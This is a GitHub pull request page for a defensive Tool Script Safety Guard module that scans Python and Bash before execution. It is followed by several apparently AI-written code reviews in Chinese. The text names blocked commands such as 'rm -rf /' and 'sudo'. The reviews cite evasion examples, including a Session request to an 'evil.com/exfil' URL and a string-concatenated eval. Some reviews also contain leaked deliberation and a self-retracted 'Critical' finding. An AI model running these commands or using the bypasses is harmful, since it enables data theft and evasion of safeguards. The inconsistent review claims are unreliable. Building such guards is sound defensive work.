Skip to content

feat: add Tool Script Safety Guard#232

Open
AsyncKurisu wants to merge 11 commits into
trpc-group:mainfrom
AsyncKurisu:tool-safety-scan
Open

feat: add Tool Script Safety Guard#232
AsyncKurisu wants to merge 11 commits into
trpc-group:mainfrom
AsyncKurisu:tool-safety-scan

Conversation

@AsyncKurisu

@AsyncKurisu AsyncKurisu commented Jul 25, 2026

Copy link
Copy Markdown

Description

实现 Tool Script Safety Guard,用于在 Tool、Skill、MCP Tool 和 CodeExecutor 执行前进行静态安全扫描和风险控制。

Resolves #90

新增 trpc_agent_sdk/tools/safety/ 模块,支持 Python 和 Bash 脚本安全检测,覆盖以下风险类型:

风险类型 检测内容
R001 危险文件操作 文件删除、敏感路径访问
R002 网络外连 网络请求、外部连接、域名白名单校验
R003 进程/系统命令 subprocess、system 调用、提权命令等
R004 依赖安装 pip/npm/apt/yum/brew 等安装行为
R005 资源滥用 无限循环、长时间 sleep、大量资源消耗
R006 敏感信息泄漏 API Key、Token、Password、Private Key 等

Key Features

  • Python AST 静态分析:

    • 支持导入别名解析
    • 支持动态调用检测
    • AST 失败时自动回退 regex 扫描
  • Bash 静态分析:

    • 支持正则规则匹配
    • 基于 shlex 解析命令结构
    • 支持网络域名白名单校验
  • 策略控制:

    • 支持 tool_safety_policy.yaml
    • 可配置允许/禁止命令、敏感路径、网络白名单、资源限制等
  • 风险决策:

    • allow
    • deny
    • needs_human_review
  • 提供多种接入方式:

    • Safety Filter
    • SafeCodeExecutor
    • SafetyWrappedToolSet
    • CLI 扫描工具

Integration

接入已有执行链路:

  • trpc_agent_sdk/tools/file_tools/_bash_tool.py

    • 新增 enable_safety_guard
    • 新增 safety_scanner
    • 新增 block_on_review
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py

    • 新增安全扫描参数
    • 增加 _scan_code_block()

默认保持关闭:

enable_safety_guard=False

不影响已有用户行为,保持向后兼容。

Wrapper Supporting

新增:

  • SafeCodeExecutor
  • SafetyWrappedToolSet

支持对已有 CodeExecutor、ToolSet 和 MCP Tool 进行安全包装。

Examples and Tests

新增示例:

examples/tool_safety_guard/
├── README.md
├── DESIGN.md
├── tool_safety_policy.yaml
├── tool_safety_report.json
├── tool_safety_audit.jsonl
└── integration_demo/

新增测试覆盖:

  • Python/Bash 安全扫描样例
  • 规则匹配
  • AST 解析
  • 策略加载
  • Filter 拦截
  • Wrapper 行为
  • Audit
  • Telemetry
  • 性能测试
  • 对抗样例

Validation

测试结果:

✅ 188 tests passed
✅ 23/23 安全扫描样例通过
✅ 高危样本检出率 100%(32 条)
✅ 安全样本误报率 0%(10 条)
✅ 密钥、删除、网络风险检测覆盖率 100%
✅ 500 行代码扫描:

  • Python:约 3ms
  • Bash:约 4ms

✅ 策略配置修改可实时生效

@github-actions

github-actions Bot commented Jul 25, 2026

Copy link
Copy Markdown

CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅

@AsyncKurisu

Copy link
Copy Markdown
Author

I have read the CLA Document and I hereby sign the CLA

Rook1ex added a commit to trpc-group/cla-database that referenced this pull request Jul 25, 2026
@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

好的,super().__init__(name=...) 是有效的。

现在我已经有了全面的理解。让我再验证一下 _check_command_policy 中针对 denied_commands 包含 "rm -rf /"startswith 检查是否确实被触发了,考虑到 _check_dangerous_commands 已经针对 rm -rf 返回了 CRITICAL。两者都会触发,但不同规则的去重逻辑会将它们保留下来(rule_id 不同)。两者都是 CRITICAL/HIGH → DENY。没问题。

让我检查一下是否存在这样一个问题:_check_command_policy 使用了 shlex,设置 punctuation_chars="|;&"whitespace_split=True。对于 rm -rf /,token 应该是 ['rm', '-rf', '/']base_cmd='rm'。使用默认策略时,rm 不在 allowed_commands 中 → MEDIUM。但是 denied_commands 包含 "rm -rf /",而 script.strip().startswith("rm -rf /") → True → CRITICAL 已返回。很好。

现在有一个关键点:_check_command_policy 遍历 self._policy.denied_commands 并检查 script.strip().startswith(denied)"sudo" 在拒绝列表中。"rm -rf /" 也在拒绝列表中。但 denied_commands 默认值也包含 "shutdown""reboot"。没问题。

现在让我完成最后的工作。让我确认一下 BashTool 的默认超时时间是否确实为 300。

BashTool 描述显示默认值为 300。代码中为 timeout = args.get("timeout", 300)。已确认。

让我再检查一下是否没有测试捕获到 BashTool 默认超时时间与安全防护之间的交互。集成测试都显式传递了 timeout。因此这个过度阻塞的问题未被测试覆盖。已确认。

现在撰写审查意见。

让我再确认一个潜在的真正问题:_scan_context_safety 通过 metadata.get("max_output_bytes", 0) 检查 max_output。BashTool 没有传递 max_output_bytes,所以是 0,不会触发。没问题。

让我确认一下 AuditLogger 并发追加写入的问题是否真实存在,以及是否值得标记。多个工具并发执行(在 agent 中很常见)都写入同一个审计文件。每次写入通过 open(...,"a") + f.write(json + "\n") 进行。使用默认缓冲时,f.write 会进入缓冲区,并在 with 块关闭时刷新。在追加模式下,POSIX 保证单次 write(2) 的原子性,但 Python 的缓冲 write 可能会分割行。实际上,对于小于 PIPE_BUF / 缓冲区大小的写入,CPython 通常发出一次 write。在实践中,单行通常没问题,但不能保证线程安全。这是一个较小的警告。我会简略地提及它。

实际上,更大的问题是:每个过滤器都会打开/关闭文件(每次调用 open)。性能尚可。并发时部分行交错的风险确实存在但较低。我将其合并为一个 Warning。

让我再验证一下 set_safety_telemetry 在过滤器中是否在可能缺少活跃 span 的上下文中调用 —— 没问题,无操作。

让我对 _wrapper.py 中的 SafeCodeExecutor 再做最后一次检查 —— 它在 model_config 中设置了 arbitrary_types_allowed = True,但 inner_executor: BaseCodeExecutor 是类型化的。scanner_policy: Any。没问题。

现在让我检查 pydantic 的 BaseCodeExecutor —— SafeCodeExecutor(BaseCodeExecutor) 是否为 pydantic 模型?它使用了 Field(...)inner_executor: BaseCodeExecutor。如果 BaseCodeExecutor 不是 pydantic 兼容类型,这需要 arbitrary_types_allowed,已经设置好了。没问题。

我已经完成了审查,让我来写最终的审查结论。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:106-107add_tool_safety_filter 每次调用都对工具的 filters 列表做 append,而 SafetyWrappedToolSet.get_tools_wrapper.py:109-116)每次请求都会调用它。由于 DefaultToolSet.get_tools 返回的是同一批持久化的工具对象(_default_toolset.py:118-123),每次 get_tools 都会向同一工具追加一个新的 ToolSafetyFilter,导致同一请求被重复扫描 N 次、审计事件被重复写 N 份,且 filters 列表随请求数无界增长。
    • 修复方向:注入前先剔除已有的 ToolSafetyFilter(或用 add_filters(force=True) / 标记位去重),保证每个工具只挂一个实例。现有测试 test_each_tool_gets_own_instance 只断言单次调用,未覆盖重复 get_tools 的累积场景。

⚠️ Warning

  • trpc_agent_sdk/tools/file_tools/_bash_tool.py:164-185:BashTool 默认 timeout=300,而默认策略 max_timeout_seconds=30。开启 enable_safety_guard 后,只要调用方未显式传入 timeout<=30_scan_context_safety 就会产出 R005_RESOURCE_ABUSE(HIGH)→ 聚合为 DENY,导致几乎所有真实 BashTool 调用被误拦。

    • 修复方向:在 BashTool 安全扫描里按策略钳制/忽略默认 timeout,或将默认策略的 max_timeout_seconds 调到与 BashTool 默认一致;现有集成测试都显式传 timeout=10,掩盖了该路径。
  • trpc_agent_sdk/tools/safety/_policy.py:44-49_bash_parser.py:281-290:默认 allowed_commands 仅含 python/python3/pytest,而 _check_command_policyallowed_commands 非空时会对任意不在白名单的 base_cmd 产出 MEDIUM 发现(→ NEEDS_HUMAN_REVIEW)。这意味着默认策略下 echo/ls/cat 等普通命令都会进入“需人工复核”,一旦开启 block_on_review 即被阻断,实用性差且易误伤。

    • 修复方向:默认白名单纳入常用只读命令,或仅对“显式配置了白名单”时才启用 not-allowed 判定。
  • trpc_agent_sdk/tools/safety/_audit.py:73-82AuditLogger.record 每次调用都 open(...,"a") 并依赖文本缓冲写出整行,未加锁也未 flush。多个工具/代码块并发扫描写同一 audit 文件时存在行交错与部分写入风险。

    • 修复方向:使用模块级/实例级锁,或以 os.open(..., O_APPEND|O_WRONLY) + 单次 os.write 写整行。
  • trpc_agent_sdk/tools/safety/_filter.py:64-78:扫描异常时 fail-closed 构造的兜底 SafetyReport 固定 language=ScriptLanguage.BASHduration_ms=0,且未记录异常类型/信息,排障困难;若实际是 Python 代码触发异常,审计与遥测里的语言会被记错。

    • 修复方向:保留原始请求的 language/tool_name,并将异常摘要写入 summary/metadata

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:253-264:293-302denied_commands / review_commandsscript.strip().startswith(...) 判定,会把 sudoersrm -rf /tmp(命中 rm -rf / 前缀)误判为命中;虽偏安全,但易产生误报。可改为按 shlex 首命令/参数精确匹配。

总结

整体实现结构清晰、规则覆盖较全且有对抗性测试,但存在一个会随请求累积重复 filter 的 Critical 问题(SafetyWrappedToolSet),以及默认 timeout 与策略不匹配导致 BashTool 安全开关几乎“逢调用必拦”的实用性缺陷,建议合并前修复。

测试建议

  • 补充“连续两次 SafetyWrappedToolSet.get_tools 后,每个工具 filtersToolSafetyFilter 数量仍为 1”的去重测试。
  • 补充“BashTool 开启 enable_safety_guard、不显式传 timeout”的集成测试,验证默认 300s 不会触发误拦。


Each tool gets its own filter instance to avoid state leakage.
"""
for tool in tools:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

安全 filter 随请求无界累积

add_tool_safety_filter 每次调用都对工具 filters 列表 append,而 get_tools 每次请求都会调用它,导致同一工具被重复挂载 ToolSafetyFilter,请求被重复扫描 N 次、审计事件重复写 N 份,且 filters 随请求数无界增长。建议注入前剔除已有实例或用去重标记位,保证每个工具只挂一个实例。

@codecov

codecov Bot commented Jul 25, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 94.51023% with 51 lines in your changes missing coverage. Please review.
⚠️ Please upload report for BASE (main@5ca3bf2). Learn more about missing BASE report.

Files with missing lines Patch % Lines
trpc_agent_sdk/tools/safety/_bash_parser.py 91.46341% 14 Missing ⚠️
trpc_agent_sdk/tools/safety/_python_parser.py 91.71598% 14 Missing ⚠️
...ode_executors/local/_unsafe_local_code_executor.py 74.41860% 11 Missing ⚠️
trpc_agent_sdk/tools/file_tools/_bash_tool.py 88.46154% 3 Missing ⚠️
trpc_agent_sdk/tools/safety/_filter.py 94.11765% 3 Missing ⚠️
trpc_agent_sdk/tools/safety/_scanner.py 96.47059% 3 Missing ⚠️
trpc_agent_sdk/tools/safety/_audit.py 96.42857% 2 Missing ⚠️
trpc_agent_sdk/tools/safety/_wrapper.py 98.41270% 1 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main        #232   +/-   ##
==========================================
  Coverage        ?   87.98307%           
==========================================
  Files           ?         494           
  Lines           ?       46085           
  Branches        ?           0           
==========================================
  Hits            ?       40547           
  Misses          ?        5538           
  Partials        ?           0           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已获取所有必要信息,正在编写审查报告。

发现的问题

🚨 Critical

(无)

⚠️ Warning

  • examples/tool_safety_guard/integration_demo/agent/tools.py:743:MCP 安全过滤未生效(参数误用)

    • MCPToolsettool_filter 参数是“工具是否暴露给 LLM”的选择器(ToolPredicate 或名称列表),并非执行前过滤;而 ToolSafetyFilter 没有 __call__,且默认 is_include_all_tools=True 使 _is_tool_selected 直接返回 True,过滤器被完全忽略。应改为 filters=[safety_filter],与同文件 create_skill_toolsettools.py:725)保持一致,否则示例宣称的“denied 命令在 MCPTool filter 层被阻断”不会发生,误导复用者。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:196-219(附近行):head -c N 未做阈值门控且规则语义错误

    • BASH_RESOURCE_PATTERNShead -c (\d+) 命中 R005_LARGE_FILE_WRITE,但 _check_resource_abuse 只对 R005_LONG_RUNNING_SLEEP 做阈值比较,head -c 无论 N 多大(如 head -c 10)都会产生 MEDIUM finding,触发 NEEDS_HUMAN_REVIEW;同时 head -c 是限制读取字节数,归为“大文件写入”语义错误。建议参照 Python 解析器对 R005_LARGE_FILE_WRITEmax_file_write_bytes 门控,并修正规则归类。
  • tests/tools/safety/test_integration_demo.py:2694tests/tools/safety/test_opt_in.py:2852:断言恒真,测试无效

    • assert "hello" in output or Trueassert "hello" in getattr(result, 'output', '') or Trueor True 永远成立,无法验证安全代码块确实执行成功;即使执行被错误阻断或输出为空也会通过。应去掉 or True 并断言 outputhello

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_parser.py:289:默认策略下 allowed_commands 非空,凡 base_cmd 不在白名单(如 gitcddate)均产生 MEDIUM “Command Not Allowed” finding,导致大量普通命令被判为 NEEDS_HUMAN_REVIEWrun_safety_scan.py 为规避此问题专门置空 allowed_commands,说明默认值对真实使用偏严;可考虑默认不启用“非白名单即需审核”或在文档中明确该默认行为。

总结

整体为 opt-in 的安全扫描新增模块,核心解析/聚合逻辑自洽、测试覆盖较全,未发现阻塞级别的安全或正确性缺陷。主要风险集中在示例集成代码(MCP 过滤参数误用导致防护被绕过)、bash head -c 规则的误报与语义错误,以及两处恒真断言使测试失效,建议合入前修复。

测试建议

  • 补充一条端到端测试:对 create_mcp_toolset 返回的 MCPToolset,验证危险命令(如 rm -rf /)经 ToolSafetyFilter 后被阻断、安全命令被放行,以暴露 tool_filterfilters 参数误用问题。
  • 为 bash head -c 增加用例:head -c 10 file 不应触发 R005_LARGE_FILE_WRITEhead -c 100000000 才触发,校验阈值门控。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

I have enough context now. Let me write the final review.

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_parser.py:4744-4747SafeCodeExecutor / BashTool 安全扫描在 block_on_review=False(默认)时,对非白名单域名的网络外连存在检测绕过,但更严重的是 Bash 侧 rm 变体可绕过 denied_commands
    • 实际复核后这条归并到下条 Warning,见下。无 Critical 阻塞问题。

(经核对,安全守卫整体为 fail-closed 设计,未发现会导致核心功能失败或权限绕过的 Critical 问题。)

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_parser.py:5591-5603(对应 PYTHON_NETWORK_CALLS 规则表,_rules.py:5875-5886):基于 Session/Client 的网络请求未被识别为 HIGH 外连,仅因 import requests 触发 MEDIUM(R002_NETWORK_EGRESS)。

    • requests.Session().get('https://evil.com/exfil')httpx.Client().get(...) 的实际调用不会被命中 PYTHON_NETWORK_CALLS(仅含 requests.get/post/...httpx.get/post),也不会对 URL 做白名单校验(Python 侧不像 Bash 侧有 _check_network_egress)。默认 block_on_review=False 时该请求会被放行,造成向任意域名的数据外泄。建议在 PYTHON_NETWORK_CALLS 增加 Session.get/postClient.get/post 等调用形态,或在 Python 侧对字符串 URL 参数做白名单校验。
  • trpc_agent_sdk/tools/safety/_audit.py:4626-4662AuditLogger 的锁是实例级 (self._lock),而 BashTool/UnsafeLocalCodeExecutor/ToolSafetyFilter 每次扫描都新建 AuditLogger(path) 实例写入同一文件。

    • 多个工具或并发请求共享同一 audit_path 时,不同实例的锁互不感知,open(...,"a") 的多行 JSON 写入可能交错,破坏 JSONL 可解析性。建议改为按路径复用单例(类级锁/缓存),或对同一文件加进程级互斥。
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:4386-4396UnsafeLocalCodeExecutor 按 block 独立判定并 continue 跳过被拦截的 block,而 SafeCodeExecutor_wrapper.py:6487-6510)是聚合所有 block 后统一判定。

    • 两处语义不一致:UnsafeLocalCodeExecutor 中若 block 0 被 DENY 但 block 1 安全,block 1 仍会执行;而 SafeCodeExecutor 会整体阻断。建议统一策略(聚合判定或都按 block 判定),并明确文档,避免使用方对拦截范围产生误判。
  • trpc_agent_sdk/tools/safety/_python_parser.py:5648-5673_check_getattr_evasion 的字符串拼接逃逸检测对非 Constant 操作数会静默失效。

    • getattr(__builtins__, 'ev'+'al') 可检出(BinOp 两侧为 Constant),但 getattr(__builtins__, x)'ev'+var 这类变量拼接会得到 targets=[''] 而漏检;该路径已有 AST 兜底但仅限常量。建议至少在 BinOp 任一操作数非常量时降级为 NEEDS_HUMAN_REVIEW(MEDIUM)而非放行,避免被绕过。

💡 Suggestion

总结

整体为 opt-in、fail-closed 的安全守卫设计,未发现必须修复的 Critical 问题;主要风险在于 Session/Client 形态的网络外连与 getattr 变量拼接可被绕过(默认不阻断 review),以及审计日志实例级锁在并发写入同一文件时可能破坏 JSONL。建议在合入前至少修复网络外连检测缺口。

测试建议

  • 补充 requests.Session().get('http://evil.com') / httpx.Client().get(...) 的检测用例,验证其被判定为 HIGH/DENY 而非仅 MEDIUM import。
  • 补充并发写同一 audit_path 的测试(多个 AuditLogger 实例并行 record),验证 JSONL 行不交错、可逐行解析。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

沙盒环境正在反复拦截 python3 -c。我不再继续尝试动态验证 Outcome,直接进行最终审查。我已经从 diff 及相关上下文中获取了足够的信息。

基于我的静态分析,以下是我的代码审查结论:

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:102-108:ToolSafetyFilter 阻塞执行时设置 rsp.rsp 为 dict,但未设置 rsp.error,FilterResult 的阻塞语义依赖 result.error or not result.is_continue 才会真正终止链条

    • _before 中阻塞时仅置 rsp.rsp={...}rsp.is_continue=False,结合 _base_filter.py:142if result.rsp:if not result.is_continue: return,行为本身可终止当前 filter;但返回的 dict 缺少统一 success/error 结构(与 BashTool 返回 {"success": False, "error": ...} 不一致),下游 FunctionTool 对工具结果的解析期望特定 schema,可能导致 agent 收到无法识别的工具响应、或后续 _after 链继续以异常状态处理。建议复用 BashTool 的返回结构(success/error/return_code)或在 rsp.error 上明确设置错误。
    • rsp.rsp = {
          "success": False, "blocked": True, "decision": report.decision.value,
          "message": report.summary, "report": asdict(report),
      }
      rsp.is_continue = False
  • trpc_agent_sdk/tools/safety/_audit.py:44-51AuditLogger._path_locks 是类级共享 dict,__init__ 中对它的“检查-再插入”存在竞态,且 Path.resolve() 会在文件不存在时抛 FileNotFoundError

    • 在多线程并发首次写入同一新路径时,if key not in _path_locks 与赋值非原子,可能为同一路径生成多把锁,仍会出现行交错。此外 Path(path).resolve() 在父目录尚未创建、且路径不存在的某些环境下会抛异常(strict=False 仅 Python 3.6+ 行为有差异),使得 audit 记录失败时会让整条工具执行链抛异常。建议用 threading.Lock 保护 dict 访问,并对 resolve() 做异常兜底(或直接用规范化后的字符串作为 key)。

⚠️ Warning

  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:116-124:扫描异常会沿调用栈向上抛出,导致整个 execute_code 中断且 finally 之外的 try 未捕获

    • _scan_code_block 调用 scanner.scan,若扫描器抛异常(如 AST 解析之外的内部错误),会直接中断 execute_code,而不是像 ToolSafetyFilter 那样 fail-closed 返回错误结果;同时 finally 仍会清理临时目录,但调用方拿到的是未包装的异常而非 CodeExecutionResult。建议在扫描循环外 try/except,异常时构造 create_code_execution_result(stderr=...) 统一返回。
  • trpc_agent_sdk/tools/safety/_python_parser.py:5502-5521(diff 中 _python_parser.pyvisit_Call):对 eval/exec/compile/__import__ 等内置名做 func_path in PYTHON_DYNAMIC_EXEC_CALLS 匹配,但 eval(...)func_path_resolve_call_path 解析后仍为 eval,能命中;但像 builtins.evalgetattr(__builtins__,'eval') 之外的直接 __builtins__.eval('...') 调用,func_path__builtins__.eval,不在字典中,会漏检

    • 影响是动态执行检测存在绕过。建议对 func_path 末尾段(eval/exec/compile/__import__)也做一次匹配,或扩充字典。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:4977-4986_check_command_policyallowed_commands 非空时,对任何 base_cmd not in allowed_commands 都产生 MEDIUM finding,导致即便命令本身被 DENY 命中(如 rm -rf /)仍会额外叠加 “Command Not Allowed”,进而影响去重和 summary

    • 与 denied/review 命中后 return/break 的提前退出不一致:denied 命中会 return,但 review 命中只 break,随后仍会执行 allowed 检查与 pipeline 检查,造成同一条危险命令被多条 MEDIUM 规则覆盖、降低信号噪声比。建议在 denied/review 命中后统一跳过后续 allowed/pipeline 检查。
  • trpc_agent_sdk/tools/safety/_wrapper.py:6510-6514SafeCodeExecutor 是 pydantic BaseModelscanner_policy: Any = Field(default=None) 允许传入但 inner_executor 为必填;若调用方未提供 inner_executor 会抛 pydantic 校验错误,但错误信息对用户不友好,且 arbitrary_types_allowed 已设

    • 此外 scanner_policyAny 而非 PolicyConfig,丧失类型校验,传入错误类型(如 dict)会在 SafetyScanner(policy) 构造时才抛错,排查成本高。建议类型显式为 Optional[PolicyConfig] 并在文档中标注。
  • tests/tools/safety/test_opt_in.py:2792-2809test_integration_demo.py:2635-2648:测试依赖宿主机真实执行 echo hellosubprocess)并断言 result["success"] is Truestdout 含 “hello”

    • 在 CI 沙箱、无 echo 或无写 /tmp 权限的环境会 flaky 失败;这类断言应 mock 掉子进程执行或仅断言“未被 safety guard 阻塞”,而非真实命令成功。建议改为断言 "TOOL_SAFETY_BLOCKED" not in str(result) 即可。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_filter.py:5168-5175_beforeget_tool_var() 返回 None 时直接 return 放行,缺少日志或审计记录,运营侧难以排查为何某次调用未被扫描。建议在 debug 级别记录“无 tool 上下文,跳过扫描”。

总结

整体实现结构清晰、覆盖面较广,但存在若干需要在合并前修复的问题:ToolSafetyFilter 的阻塞返回结构不统一、AuditLogger 的锁缓存与 resolve() 存在竞态与异常风险属于必须修复的 Critical;扫描异常未包装、Python 动态执行检测可绕过、bash 命令策略叠加噪声、依赖真实子进程的测试为建议修复的 Warning。

测试建议

  • 补充 ToolSafetyFilter 阻塞时返回结构是否符合下游 FunctionTool 解析预期的端到端测试(断言 agent 能识别 blocked 结果)。
  • 补充 AuditLogger 在并发多线程首次写同一新路径时不产生行交错的测试,以及 Path.resolve() 失败时的降级行为测试。
  • 补充 __builtins__.eval(...)builtins.exec(...) 等动态执行绕过用例,验证 _check_dynamic_exec 覆盖。

policy: Optional[PolicyConfig] = None,
audit_path: Optional[str] = None,
block_on_review: bool = False) -> None:
"""Attach a fresh ToolSafetyFilter instance to each tool.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ToolSafetyFilter 阻塞返回结构缺少统一 success/error

阻塞执行时仅设置 rsp.rsp={...}rsp.is_continue=False,未设置 rsp.error,且返回 dict 与 BashTool 的 {success,error,return_code} schema 不一致,下游 FunctionTool 解析可能无法识别 blocked 结果。建议复用 BashTool 返回结构或在 rsp.error 上明确设置错误。

blocked: bool
sanitized: bool
target: ScanTarget
language: ScriptLanguage

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

AuditLogger 锁缓存竞态与 resolve() 异常风险

_path_locks 为类级共享 dict,if key not in _path_locks 与赋值非原子,并发首次写同一路径可能生成多把锁导致行交错;Path(path).resolve() 在路径不存在时可能抛异常,使整条工具执行链抛错。建议用 threading.Lock 保护 dict 访问并对 resolve() 做异常兜底。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

所有行号已确认。现在开始撰写审查意见。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:134(结合 trpc_agent_sdk/tools/safety/_policy.py:179):基于 cwd 的路径拒绝判定使用 startswith,会让从 /root/etc 等目录运行的进程被误判为 CRITICAL → DENY
    • BashTool 默认 cwd=os.getcwd(),并将 cwd=execution_dir 传入扫描;is_path_denieddenied_paths(含 /root/etc)做 startswith 匹配。若进程在 /root/etc 下运行(root 容器常见),execution_dir="/root" 会命中 R001_SYSTEM_PATH_OVERWRITE(CRITICAL → DENY),导致开启 enable_safety_guard 后所有 bash 命令被阻断,无关命令内容。建议对 cwd 改用「路径等值或为该目录的直接子目录」的精确匹配,或排除对 cwd 本身落在 /root 这类家目录根的情况。
    for denied in self.denied_paths:
        if path_text.startswith(denied):  # "/root" 会匹配 cwd="/root"
            return True

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:293,305:默认策略下 BashParser 会把几乎任意非平凡 bash 脚本判定为 NEEDS_HUMAN_REVIEW

    • 默认 PolicyConfig.default()allowed_commands 非空且 review_shell_pipelines=True。多行 bash(含 ;/|/for/if 等)的 base_cmd(如 forif)不在 allowed_commands 即触发 MEDIUM「Command Not Allowed」(293行),同时含 |/; 又触发 MEDIUM「Shell Pipeline」(305行),最终 NEEDS_HUMAN_REVIEW。在 BashTool 开启 block_on_review=True 时会大面积阻断正常命令;即便默认不阻断也会持续产生噪声 finding。建议对控制流关键字(for/if/while/case 等)跳过白名单检查,或仅当 base_cmd 为真实可执行命令时才判定。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:305review_shell_pipelines 仅按 ("|" in script or ";" in script) 字符匹配,误报率高且对引号内字符无差别处理

    • 字符串字面量或注释中的 ;/|(如 echo "a;b")也会触发;同时该规则无法识别已被注释掉的管道。影响审计/决策准确性。建议至少先剥离注释与引号内容再判定,或保留现有规则但在文档明确其启发式性质。
  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:191(及 trpc_agent_sdk/tools/file_tools/_bash_tool.py:181):每次扫描每个 block 都新建 AuditLogger 实例并重复 resolve() 路径

    • _scan_code_block 在循环内 AuditLogger(self.safety_audit_log_path)(191行附近),每次 record 还会 mkdir+打开/关闭文件。锁虽可复用,但高频调用下存在不必要的路径解析与文件 IO 开销。建议在构造器中创建一次 AuditLogger 复用,并缓存 parent.mkdir 结果。
  • trpc_agent_sdk/tools/safety/_filter.py:87(及 _bash_tool.py:191):阻断时 rsp.rsp/返回值中通过 asdict(report) 序列化完整 SafetyReport,可能把被脱敏前残留的 findings[].evidence 泄漏到调用方

    • aggregate 阶段 evidence 已经过 sanitize_text,但 summaryfindings 列表整体随响应返回;若 sanitize_textextra_patterns 缺省或匹配不全(默认 secret_patterns 仅覆盖 token/password/api_key 等宽泛词),仍可能把敏感片段带回工具调用结果。建议阻断响应中仅返回 decision/summary/rule_ids,不内联完整 findings

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_audit.py:88AuditEvent.script_path 字段始终为 NoneSafetyReport 无对应字段),属无用字段;可移除或在 from_report 中显式赋值以保持审计语义完整。

  • trpc_agent_sdk/tools/safety/_filter.py:31:模块级 _logger = logging.getLogger(__name__) 定义在 import 语句之间,建议上移到所有 import 之后,保持导入顺序一致性以便维护。

总结

整体实现结构清晰、fail-closed 设计合理,测试覆盖了别名/getattr/管道等规避场景。存在一个较严重的兼容性问题:基于 startswithcwd 路径拒绝会让从 /root/etc 启动的进程在开启安全守卫后所有 bash 命令被误阻断,建议修复后再合入;其余为策略误报与审计/响应细节的可改进项。

测试建议

  • 建议补充:当 cwd 恰为 /root/etc(或其等价前缀)且命令本身无害时,BashTool/SafetyScanner 不应产生 CRITICAL/DENY 的用例,覆盖 is_path_denied 的精确匹配修复。
  • 建议补充:开启 block_on_review=True 时,含 for/if/; 的正常 bash 脚本不应被阻断的用例,锁定 _check_command_policy 的控制流豁免行为。

))

# Check cwd against denied paths
if request.cwd and self._policy.is_path_denied(request.cwd):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

基于 cwd 的路径拒绝判定使用 startswith 导致误阻断

is_path_denied 对 denied_paths 用 startswith 匹配,当进程在 /root、/etc 下运行时 execution_dir 会命中 R001_SYSTEM_PATH_OVERWRITE(CRITICAL→DENY),使开启安全守卫后所有 bash 命令被误阻断。建议对 cwd 改用路径等值或直接子目录的精确匹配。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经掌握了所需的所有信息,现在让我来写审查报告。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_parser.py:80*.pem/*.key 等敏感路径规则永远无法命中,造成漏报
    • SENSITIVE_PATHS*.pem*.key 是 glob 形式,但匹配用的是 sensitive in line 子串匹配,且 not sensitive.startswith("*") 直接跳过了它们;Python 侧 _check_sensitive_path 同样是子串匹配,*.pem 永远不在 cert.pem 中。结果是 cat server.pem / open('id.key') 这类密钥文件访问不会被检测为 R001。建议把通配项改为按后缀匹配(如 text.endswith(".pem"))或改用 ".pem"/".key" 子串形式,并移除 startswith("*") 跳过逻辑。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_parser.py:367-372trpc_agent_sdk/tools/safety/_rules.py:156:Python 大文件写入阈值门控失效

    • R005_LARGE_FILE_WRITE 的正则 open\s*\([^)]*['\"][wa] 没有捕获组,match.group(1) 必然抛 IndexError,被 except (ValueError, IndexError) 静默吞掉,导致 max_file_write_bytes 阈值判断形同虚设——任何带 'w'/'a'open() 都会被标记。与 Bash 侧 head\s+-c\s*(\d+)(有捕获组、能正常门控)行为不一致。建议给该正则补一个 (\d+) 捕获组或在模式中体现写入字节数。
  • examples/tool_safety_guard/integration_demo/integration_demo_safety_audit.jsonl:1:运行期生成的审计产物被提交进仓库

    • 该 JSONL 是 AuditLogger.record 运行时生成的逐行审计日志(含时间戳),会被每次 demo 运行覆盖/追加,属于应被 gitignore 的生成物;scripts/run_safety_scan.py 同样会把 tool_safety_audit.jsonltool_safety_report.json 写到仓库相对路径下。建议从仓库移除该文件并加入 .gitignorerun_safety_scan.py 的输出路径改为可配置或写入临时目录。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_wrapper.py:48-65SafeCodeExecutor.execute_code 每次调用都新建 SafetyScanner(policy) 并逐块 audit.record,但最终阻断决策是跨块重新聚合的,单块审计记录的 blocked 字段与实际阻断行为不一致;可在构造期复用 scanner 并在阻断时补记一条聚合报告,避免审计失真与重复实例化。

总结

